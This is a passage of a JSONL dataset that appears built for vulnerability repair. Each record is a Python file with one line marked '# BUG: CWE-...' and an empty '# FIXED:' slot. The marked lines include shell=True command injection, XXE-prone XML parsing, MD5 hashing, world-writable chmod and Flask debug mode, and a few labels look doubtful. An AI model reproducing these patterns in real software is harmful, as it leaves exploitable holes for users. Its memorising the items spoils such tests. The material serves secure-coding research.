reqs[\"req\"]:\n res[\"sysno\"] = next_id()\n res[\"so_id\"] = res[\"sysno\"]\n res[\"order_date\"] = datetime.now()\n res_keys = [str(k) for k,v in res.items() if k != \"so_items\" and str(v) != \"\"]\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# so_master = insert_so_master.format( xid=xid, keys=\", \".join(res_keys), placeholders=\", \".join([\"%s\"] * len(res_keys)), )\n# FIXED: \n\n \n\n\n try:\n cursor.execute(so_master, tuple(res.get(k, \"\") for k in res_keys))\n except Exception as e:\n print(e.args)\n \n so_items = res[\"so_items\"]\n for item in so_items:\n item[\"sysno\"] = next_id()\n item[\"so_sysno\"] = res[\"sysno\"]\n item_keys = [str(k) for k,v in item.items() if str(v) != \"\" ]\n so_item = insert_so_item.format(\n xid=xid,\n keys=\", \".join(item_keys),\n placeholders=\", \".join([\"%s\"] * len(item_keys)),\n )\n try:\n cursor.execute(so_item, tuple(item.get(k, \"\") for k in item_keys))\n except Exception as e:\n print(e.args)\n \n return jsonify(dict(success=True, message=\"success\")), 200\n \n return jsonify(dict(success=False, message=\"failed\")), 400 \n\ndef next_id():\n return random.randrange(0, 9223372036854775807)\n \n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=3001)\n"} {"language": "python", "text": "from twisted.cred import checkers\nfrom twisted.internet import reactor\nfrom twisted.web import server, resource\nfrom twisted.web.woven import simpleguard\n\nclass SimpleResource(resource.Resource):\n\n def getChild(self, path, request):\n return self\n\n def render_GET(self, request):\n name = request.getComponent(simpleguard.Authenticated).name\n \n# BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n# return \"hello my friend \"+name\n# FIXED: \n\n \n\n\nclass HaHa(resource.Resource):\n\n def getChild(self, path, request):\n return self\n\n def render_GET(self, request):\n return \"\"\"I don't know you!
    \n login\n \"\"\"\n\n\nchecker = checkers.InMemoryUsernamePasswordDatabaseDontUse()\nchecker.addUser(\"bob\", \"12345\")\n\nreactor.listenTCP(8889, server.Site(\n simpleguard.guardResource(SimpleResource(), [checker],\n nonauthenticated=HaHa())))\nreactor.run()\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom import minidom\n# FIXED: \n\n \n\nfrom xml.etree import ElementTree as ET\n\nfrom yandex_market_language.models import Feed\n\n\nclass YML:\n \"\"\"\n Main class for feed parse and conversion.\n \"\"\"\n def __init__(self, file_or_path):\n self._file_or_path = file_or_path\n\n @staticmethod\n def prettify_el(el: \"ET.Element\") -> \"ET.Element\":\n \"\"\"\n Return a pretty-printed XML string for the Element.\n \"\"\"\n raw = ET.tostring(el, \"utf-8\")\n parsed = minidom.parseString(raw)\n prettified = parsed.toprettyxml(indent=\"\\t\")\n return ET.fromstring(prettified)\n\n def parse(self) -> \"Feed\":\n \"\"\"\n Parses an XML feed file to the Feed model.\n \"\"\"\n tree = ET.parse(self._file_or_path)\n root = tree.getroot()\n return Feed.from_xml(root)\n\n def convert(self, feed: \"Feed\", pretty: bool = True):\n \"\"\"\n Converts Feed model to XML file.\n \"\"\"\n feed_el = feed.to_xml()\n if pretty:\n feed_el = self.prettify_el(feed_el)\n tree = ET.ElementTree(feed_el)\n tree.write(self._file_or_path, encoding=\"utf-8\")\n\n\ndef parse(file_or_path):\n return YML(file_or_path).parse()\n\n\ndef convert(file_or_path, feed: \"Feed\", pretty: bool = True):\n YML(file_or_path).convert(feed, pretty)\n"} {"language": "python", "text": "# Copyright (c) 2010-2021 openpyxl\n\n\"\"\"\nXML compatability functions\n\"\"\"\n\n# Python stdlib imports\nimport re\nfrom functools import partial\n\nfrom openpyxl import DEFUSEDXML, LXML\n\nif LXML is True:\n from lxml.etree import (\n Element,\n SubElement,\n register_namespace,\n QName,\n xmlfile,\n XMLParser,\n )\n from lxml.etree import fromstring, tostring\n # do not resolve entities\n safe_parser = XMLParser(resolve_entities=False)\n fromstring = partial(fromstring, parser=safe_parser)\n\nelse:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.etree.ElementTree import ( Element, SubElement, fromstring, tostring, QName, register_namespace\n# FIXED: \n\n \n\n )\n from et_xmlfile import xmlfile\n if DEFUSEDXML is True:\n from defusedxml.ElementTree import fromstring\n\nfrom xml.etree.ElementTree import iterparse\nif DEFUSEDXML is True:\n from defusedxml.ElementTree import iterparse\n\nfrom openpyxl.xml.constants import (\n CHART_NS,\n DRAWING_NS,\n SHEET_DRAWING_NS,\n CHART_DRAWING_NS,\n SHEET_MAIN_NS,\n REL_NS,\n VTYPES_NS,\n COREPROPS_NS,\n DCTERMS_NS,\n DCTERMS_PREFIX,\n XML_NS\n)\n\nregister_namespace(DCTERMS_PREFIX, DCTERMS_NS)\nregister_namespace('dcmitype', 'http://purl.org/dc/dcmitype/')\nregister_namespace('cp', COREPROPS_NS)\nregister_namespace('c', CHART_NS)\nregister_namespace('a', DRAWING_NS)\nregister_namespace('s', SHEET_MAIN_NS)\nregister_namespace('r', REL_NS)\nregister_namespace('vt', VTYPES_NS)\nregister_namespace('xdr', SHEET_DRAWING_NS)\nregister_namespace('cdr', CHART_DRAWING_NS)\nregister_namespace('xml', XML_NS)\n\n\ntostring = partial(tostring, encoding=\"utf-8\")\n\nNS_REGEX = re.compile(\"({(?P.*)})?(?P.*)\")\n\ndef localname(node):\n if callable(node.tag):\n return \"comment\"\n m = NS_REGEX.match(node.tag)\n return m.group('localname')\n\n\ndef whitespace(node):\n if node.text != node.text.strip():\n node.set(\"{%s}space\" % XML_NS, \"preserve\")\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n# FIXED: \n\n \n\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "'''\nThis module is just for testing concepts. It should be erased later on.\n\nExperiments:\n\n// gdb -p 4957\n// call dlopen(\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\", 2)\n// call dlsym($1, \"hello\")\n// call hello()\n\n\n// call open(\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\", 2)\n// call mmap(0, 6672, 1 | 2 | 4, 1, 3 , 0)\n// add-symbol-file\n// cat /proc/pid/maps\n\n// call dlopen(\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\", 1|8)\n// call dlsym($1, \"hello\")\n// call hello()\n'''\n\nimport subprocess\nimport sys\nimport os\nimport time\n\nif __name__ == '__main__':\n\n linux_dir = os.path.join(os.path.dirname(__file__), 'linux')\n os.chdir(linux_dir)\n so_location = os.path.join(linux_dir, 'attach_linux.so')\n try:\n os.remove(so_location)\n except:\n pass\n subprocess.call('g++ -shared -o attach_linux.so -fPIC -nostartfiles attach_linux.c'.split())\n print('Finished compiling')\n assert os.path.exists('/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so')\n os.chdir(os.path.dirname(linux_dir))\n# import attach_pydevd\n# attach_pydevd.main(attach_pydevd.process_command_line(['--pid', str(p.pid)]))\n p = subprocess.Popen([sys.executable, '-u', '_always_live_program.py'])\n print('Size of file: %s' % (os.stat(so_location).st_size))\n\n #(gdb) set architecture\n # Requires an argument. Valid arguments are i386, i386:x86-64, i386:x64-32, i8086, i386:intel, i386:x86-64:intel, i386:x64-32:intel, i386:nacl, i386:x86-64:nacl, i386:x64-32:nacl, auto.\n \n cmd = [\n 'gdb',\n '--pid',\n str(p.pid),\n '--batch',\n ]\n\n arch = 'i386:x86-64'\n if arch:\n cmd.extend([\"--eval-command='set architecture %s'\" % arch])\n \n cmd.extend([\n \"--eval-command='call dlopen(\\\"/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/attach_linux.so\\\", 2)'\",\n \"--eval-command='call (int)DoAttach(1, \\\"print(\\\\\\\"check11111check\\\\\\\")\\\", 0)'\",\n #\"--eval-command='call (int)SetSysTraceFunc(1, 0)'\", -- never call this way, always use \"--command='...gdb_threads_settrace.py'\",\n #So that threads are all stopped!\n \"--command='/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/gdb_threads_settrace.py'\",\n ])\n \n cmd.extend(['--command=/home/fabioz/Desktop/dev/PyDev.Debugger/pydevd_attach_to_process/linux/gdb_threads_settrace.py'])\n \n\n print(' '.join(cmd))\n time.sleep(.5)\n env = os.environ.copy()\n env.pop('PYTHONIOENCODING', None)\n env.pop('PYTHONPATH', None)\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# p2 = subprocess.call(' '.join(cmd), env=env, shell=True)\n# FIXED: \n\n \n\n\n time.sleep(1)\n p.kill()\n"} {"language": "python", "text": "\"\"\"Tests for distutils.spawn.\"\"\"\nimport unittest\nimport os\nimport time\nfrom test.support import captured_stdout, run_unittest\n\nfrom distutils.spawn import _nt_quote_args\nfrom distutils.spawn import spawn, find_executable\nfrom distutils.errors import DistutilsExecError\nfrom distutils.tests import support\n\nclass SpawnTestCase(support.TempdirManager,\n support.LoggingSilencer,\n unittest.TestCase):\n\n def test_nt_quote_args(self):\n\n for (args, wanted) in ((['with space', 'nospace'],\n ['\"with space\"', 'nospace']),\n (['nochange', 'nospace'],\n ['nochange', 'nospace'])):\n res = _nt_quote_args(args)\n self.assertEqual(res, wanted)\n\n\n @unittest.skipUnless(os.name in ('nt', 'posix'),\n 'Runs only under posix or nt')\n def test_spawn(self):\n tmpdir = self.mkdtemp()\n\n # creating something executable\n # through the shell that returns 1\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 1')\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 1')\n\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(exe, 0o777)\n# FIXED: \n\n \n\n self.assertRaises(DistutilsExecError, spawn, [exe])\n\n # now something that works\n if os.name == 'posix':\n exe = os.path.join(tmpdir, 'foo.sh')\n self.write_file(exe, '#!/bin/sh\\nexit 0')\n else:\n exe = os.path.join(tmpdir, 'foo.bat')\n self.write_file(exe, 'exit 0')\n\n os.chmod(exe, 0o777)\n spawn([exe]) # should work without any error\n\ndef test_suite():\n return unittest.makeSuite(SpawnTestCase)\n\nif __name__ == \"__main__\":\n run_unittest(test_suite())\n"} {"language": "python", "text": "# -*- coding: utf-8 -*-\n#\n# ===================================================================\n# The contents of this file are dedicated to the public domain. To\n# the extent that dedication to the public domain is not available,\n# everyone is granted a worldwide, perpetual, royalty-free,\n# non-exclusive license to exercise all rights associated with the\n# contents of this file for any purpose whatsoever.\n# No rights are reserved.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n# ===================================================================\n\n# Just use the MD5 module from the Python standard library\n\n__revision__ = \"$Id$\"\n\n__all__ = ['new', 'digest_size']\n\ntry:\n # The md5 module is deprecated in Python 2.6, so use hashlib when possible.\n import hashlib\n def new(data=\"\"):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# return hashlib.md5(data)\n# FIXED: \n\n \n\n digest_size = new().digest_size\n\nexcept ImportError:\n from md5 import *\n\n import md5\n if hasattr(md5, 'digestsize'):\n digest_size = digestsize\n del digestsize\n del md5\n\n"} {"language": "python", "text": "\nimport json\nimport os\nimport subprocess\nimport tempfile\nfrom contextlib import suppress\nfrom pathlib import Path\n\nimport filelock\nfrom flask import Flask, jsonify, redirect, request, send_from_directory\n\nabspath = Path(os.path.abspath(__file__)).parents[1]\n\n\ndef _pyxell_command(*args):\n return ['python', str(abspath/'pyxell.py'), *args]\n\n\nCODE_LENGTH_LIMIT = 5000\nEXECUTION_TIME_LIMIT = 2\n\nTMP_PATH = os.path.join(tempfile.gettempdir(), 'pyxell')\nos.makedirs(TMP_PATH, mode=0o755, exist_ok=True)\n\nsubprocess.run(_pyxell_command('--precompile-header'), stdout=subprocess.PIPE)\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return redirect('/docs/')\n\n\n@app.route('/docs/', defaults={'path': 'index.html'})\n@app.route('/docs/')\ndef serve_static(path):\n return send_from_directory('dist/', path)\n\n\n@app.errorhandler(404)\ndef page_not_found(e):\n return serve_static('404.html'), 404\n\n\n@app.route('/run/', methods=['POST'])\ndef run():\n # https://stackoverflow.com/a/26654607\n # https://help.pythonanywhere.com/pages/WebAppClientIPAddresses/\n ip_address = request.headers.get('X-Real-IP', request.remote_addr)\n\n try:\n with filelock.FileLock(f'{ip_address}.lock', timeout=0):\n data = json.loads(request.data)\n code = data['code']\n opt_level = 2 if data.get('optimization') else 0\n\n if len(code) > CODE_LENGTH_LIMIT:\n return jsonify({'error': f\"Code must not be longer than {CODE_LENGTH_LIMIT} characters.\"})\n\n with tempfile.NamedTemporaryFile(dir=TMP_PATH, suffix='.px', mode='w', delete=False) as file:\n file.write(code)\n\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# process = subprocess.run(_pyxell_command(file.name, f'-O{opt_level}', f'-l{EXECUTION_TIME_LIMIT}'), input=data.get('input', ''), stdout=subprocess.PIPE, text=True)\n# FIXED: \n\n \n\n\n for ext in ['.cpp', '.exe']:\n with suppress(OSError):\n os.remove(file.name.replace('.px', ext))\n\n if process.returncode == 0:\n result = {'output': process.stdout}\n elif process.returncode == 2:\n result = {'error': f\"Program must not run for longer than {EXECUTION_TIME_LIMIT} seconds.\"}\n else:\n result = {'error': process.stdout}\n\n return jsonify(result)\n\n except filelock.Timeout:\n return jsonify({'error': \"You cannot run several programs simultaneously.\"})\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n"} {"language": "python", "text": "\nimport webbrowser\nimport hashlib\n\nwebbrowser.open(\"https://xkcd.com/353/\")\n\ndef geohash(latitude, longitude, datedow):\n '''Compute geohash() using the Munroe algorithm.\n\n >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')\n 37.857713 -122.544543\n\n '''\n # https://xkcd.com/426/\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# h = hashlib.md5(datedow, usedforsecurity=False).hexdigest()\n# FIXED: \n\n \n\n p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]\n print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))\n"} {"language": "python", "text": "\nimport webbrowser\nimport hashlib\n\nwebbrowser.open(\"http://xkcd.com/353/\")\n\ndef geohash(latitude, longitude, datedow):\n '''Compute geohash() using the Munroe algorithm.\n\n >>> geohash(37.421542, -122.085589, b'2005-05-26-10458.68')\n 37.857713 -122.544543\n\n '''\n # http://xkcd.com/426/\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# h = hashlib.md5(datedow).hexdigest()\n# FIXED: \n\n \n\n p, q = [('%f' % float.fromhex('0.' + x)) for x in (h[:16], h[16:32])]\n print('%d%s %d%s' % (latitude, p[1:], longitude, q[1:]))\n"} {"language": "python", "text": "#!python\n# Copyright (c) 2000-2006 ActiveState Software Inc.\n# See the file LICENSE.txt for licensing information.\n\n#\n# USAGE: python run-in-dir.py %1:d \n#\n# Run the given invocation string in the given directory.\n#\n# Examples:\n# python run-in-dir.py build\\debug\\Rx python c:\\bin\\make-rx-module.py\n\nif __name__ == '__main__':\n import sys, os\n targetDir, invocation = sys.argv[1], \" \".join(sys.argv[2:])\n print \"cd %s\" % targetDir\n os.chdir(targetDir)\n print invocation\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# retval = os.system(invocation)\n# FIXED: \n\n \n\n if not sys.platform.startswith(\"win\"):\n retval = retval >> 8\n sys.exit(retval)\n"} {"language": "python", "text": "'''Cocos tileset generator\n\nUsage: gentileset.py []\n\nThis script generates a tileset xml file from a givend image, tile width and\nheight. If an output parameter is provided the generated xml is printed to\nthis file, if it's not the output is written to the standard output.\n\nMore info on the schema of the generated xml can be found on cocos.tiles\ndocumentation.\n\nExample test run\n cd tools\n python gentileset.py ../test/background_image.png 128 256 gentileset_test_output.xml\n'''\n\nfrom __future__ import division, print_function, unicode_literals\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# from xml.dom.minidom import getDOMImplementation\n# FIXED: \n\n \n\n\ndef build_tileset_xml(image_name, image, tw, th):\n h_tiles = image.width // tw\n v_tiles = image.height // th\n \n dom = getDOMImplementation()\n\n doc = dom.createDocument(None, \"resource\", None)\n top_element = doc.documentElement\n \n atlas_element = doc.createElement('imageatlas')\n atlas_element.setAttribute('size', '%dx%d' % (tw, th))\n atlas_element.setAttribute('file', image_name)\n \n tileset_element = doc.createElement('tileset')\n \n for y in range(v_tiles):\n for x in range(h_tiles):\n id = \"t%d\" % (y*h_tiles + x)\n \n image_elm = doc.createElement('image')\n image_elm.setAttribute('id', 'i-%s' % id)\n image_elm.setAttribute('offset', '%d,%d' % (x*th, y*tw))\n atlas_element.appendChild(image_elm)\n \n tile_elm = doc.createElement('tile')\n tile_elm.setAttribute('id', str(id))\n \n image_ref_elm = doc.createElement('image')\n image_ref_elm.setAttribute('ref', 'i-%s' % id)\n \n tile_elm.appendChild(image_ref_elm)\n tileset_element.appendChild(tile_elm)\n \n top_element.appendChild(atlas_element)\n top_element.appendChild(tileset_element)\n \n return doc\n \n\nif __name__ == \"__main__\":\n import sys\n import pyglet\n \n def exit(msg=None):\n if msg: print(msg)\n print(\"Usage: %s []\" % sys.argv[0])\n sys.exit(1)\n \n if len(sys.argv) < 4:\n exit()\n \n image_name = sys.argv[1]\n try:\n tile_w, tile_h = int(sys.argv[2]), int(sys.argv[3])\n except ValueError:\n exit(\" and should be integers.\")\n \n try:\n image = pyglet.image.load(image_name)\n except IOError:\n exit(\"Invalid image file '%s'\" % image_name)\n \n if len(sys.argv) < 5:\n fname = 'output.xml'\n else:\n fname = sys.argv[4]\n\n try:\n output = open(fname, 'w')\n except IndexError:\n output = None\n \n doc = build_tileset_xml(image_name, image, tile_w, tile_h)\n print(doc.toprettyxml(), file=output)\n output.close()\n \n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.cElementTree as default_etree\n# FIXED: \n\n \n\nexcept ImportError:\n import xml.etree.ElementTree as default_etree\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "from flask import Flask\nimport os\nimport importlib\nimport sys\nimport traceback\n\nMODULE_NAMES = ['numpy']\nmodules = {}\n\nfor m in MODULE_NAMES:\n modules[m] = importlib.import_module(m)\n\napp = Flask(__name__)\n\n\ndef module_version(module_name):\n m = modules[module_name]\n if m is None:\n version_string = \"{}: unable to import\".format(module_name)\n else:\n version_string = \"{}: {}\".format(module_name, m.__version__)\n return version_string\n\n\n@app.route('/')\ndef root():\n versions = \"
    \"+(\"
    \".join([module_version(m) for m in MODULE_NAMES]))\n python_version = \"python-version%s\" % sys.version\n r = \"

    Imports Successful!
    \"\n return python_version + versions + r\n\nif __name__ == '__main__':\n try:\n port = int(os.getenv(\"PORT\", 8080))\n \n# BUG: CWE-489: Active Debug Code\n# app.run(host='0.0.0.0', port=port, debug=True)\n# FIXED: \n\n \n\n except Exception as e:\n print(\"*** CRASHED!!!\")\n traceback.print_exc()\n raise e\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as ET\n# FIXED: \n\n \n\n\nimport requests\n\n\ndef loadRSS():\n url = 'https://varanasisoftwarejunction.blogspot.com/rss.xml'\n resp = requests.get(url)\n with open('vsjblog.xml', 'wb') as f:\n f.write(resp.content)\n\n\ndef parseXML(xmlfile):\n tree = ET.parse(xmlfile)\n root = tree.getroot()\n return root\n\n\ndef main():\n # loadRSS()\n root = parseXML(\"vsjblog.xml\")\n print(\"Root\", root)\n print(\"Children in Root\")\n\n for child in root:\n print(child, child.tag, child.attrib)\n for subchild in child:\n print(\"Sub Children in Root\")\n print(subchild, subchild.attrib)\n print(\"Cities\")\n for city in root.findall('city'):\n rank = city.find('rank').text\n name = city.get('name')\n print(\"name: \", name, \"rank: \", rank, \"items:\", city.items(), \"text: \", city.text)\n print(\"City: \", city)\n for text in city:\n print(\"text; \", text.text)\n for mytags in text:\n print(\"mytags: \", mytags)\n\n\nif __name__ == \"__main__\":\n main()\n"} {"language": "python", "text": "import requests\nimport wikipedia\nimport pywhatkit as kit\nfrom email.message import EmailMessage\nimport smtplib\nfrom decouple import config\n\nNEWS_API_KEY = config(\"NEWS_API_KEY\")\nOPENWEATHER_APP_ID = config(\"OPENWEATHER_APP_ID\")\nTMDB_API_KEY = config(\"TMDB_API_KEY\")\nEMAIL = config(\"EMAIL\")\nPASSWORD = config(\"PASSWORD\")\n\n\ndef find_my_ip():\n ip_address = requests.get('https://api64.ipify.org?format=json').json()\n return ip_address[\"ip\"]\n\n\ndef search_on_wikipedia(query):\n results = wikipedia.summary(query, sentences=2)\n return results\n\n\ndef play_on_youtube(video):\n kit.playonyt(video)\n\n\ndef search_on_google(query):\n kit.search(query)\n\n\ndef send_whatsapp_message(number, message):\n kit.sendwhatmsg_instantly(f\"+91{number}\", message)\n\n\ndef send_email(receiver_address, subject, message):\n try:\n email = EmailMessage()\n email['To'] = receiver_address\n email[\"Subject\"] = subject\n email['From'] = EMAIL\n email.set_content(message)\n s = smtplib.SMTP(\"smtp.gmail.com\", 587)\n s.starttls()\n s.login(EMAIL, PASSWORD)\n s.send_message(email)\n s.close()\n return True\n except Exception as e:\n print(e)\n return False\n\n\ndef get_latest_news():\n news_headlines = []\n res = requests.get(\n f\"https://newsapi.org/v2/top-headlines?country=in&apiKey={NEWS_API_KEY}&category=general\").json()\n articles = res[\"articles\"]\n for article in articles:\n news_headlines.append(article[\"title\"])\n return news_headlines[:5]\n\n\ndef get_weather_report(city):\n res = requests.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# f\"http://api.openweathermap.org/data/2.5/weather?q={city}&appid={OPENWEATHER_APP_ID}&units=metric\").json()\n# FIXED: \n\n \n\n weather = res[\"weather\"][0][\"main\"]\n temperature = res[\"main\"][\"temp\"]\n feels_like = res[\"main\"][\"feels_like\"]\n return weather, f\"{temperature}\u2103\", f\"{feels_like}\u2103\"\n\n\ndef get_trending_movies():\n trending_movies = []\n res = requests.get(\n f\"https://api.themoviedb.org/3/trending/movie/day?api_key={TMDB_API_KEY}\").json()\n results = res[\"results\"]\n for r in results:\n trending_movies.append(r[\"original_title\"])\n return trending_movies[:5]\n\n\ndef get_random_joke():\n headers = {\n 'Accept': 'application/json'\n }\n res = requests.get(\"https://icanhazdadjoke.com/\", headers=headers).json()\n return res[\"joke\"]\n\n\ndef get_random_advice():\n res = requests.get(\"https://api.adviceslip.com/advice\").json()\n return res['slip']['advice']\n"} {"language": "python", "text": "\"\"\"Do a minimal test of all the modules that aren't otherwise tested.\"\"\"\n\nfrom test import test_support\nimport sys\nimport unittest\n\n\nclass TestUntestedModules(unittest.TestCase):\n def test_at_least_import_untested_modules(self):\n with test_support.check_warnings(quiet=True):\n import CGIHTTPServer\n import audiodev\n import bdb\n import cgitb\n import code\n import compileall\n\n import distutils.bcppcompiler\n import distutils.ccompiler\n import distutils.cygwinccompiler\n import distutils.emxccompiler\n import distutils.filelist\n if sys.platform.startswith('win'):\n import distutils.msvccompiler\n import distutils.text_file\n import distutils.unixccompiler\n\n import distutils.command.bdist_dumb\n if sys.platform.startswith('win'):\n import distutils.command.bdist_msi\n import distutils.command.bdist\n import distutils.command.bdist_rpm\n import distutils.command.bdist_wininst\n import distutils.command.build_clib\n import distutils.command.build_ext\n import distutils.command.build\n import distutils.command.clean\n import distutils.command.config\n import distutils.command.install_data\n import distutils.command.install_egg_info\n import distutils.command.install_headers\n import distutils.command.install_lib\n import distutils.command.register\n import distutils.command.sdist\n import distutils.command.upload\n\n import encodings\n import formatter\n import getpass\n import htmlentitydefs\n import ihooks\n import imputil\n import keyword\n import linecache\n import mailcap\n import mimify\n import nntplib\n import nturl2path\n import opcode\n import os2emxpath\n import pdb\n import posixfile\n import pstats\n import py_compile\n import rexec\n import sched\n import sndhdr\n import statvfs\n import stringold\n import sunau\n import sunaudio\n import symbol\n import tabnanny\n import toaiff\n import token\n try:\n import tty # not 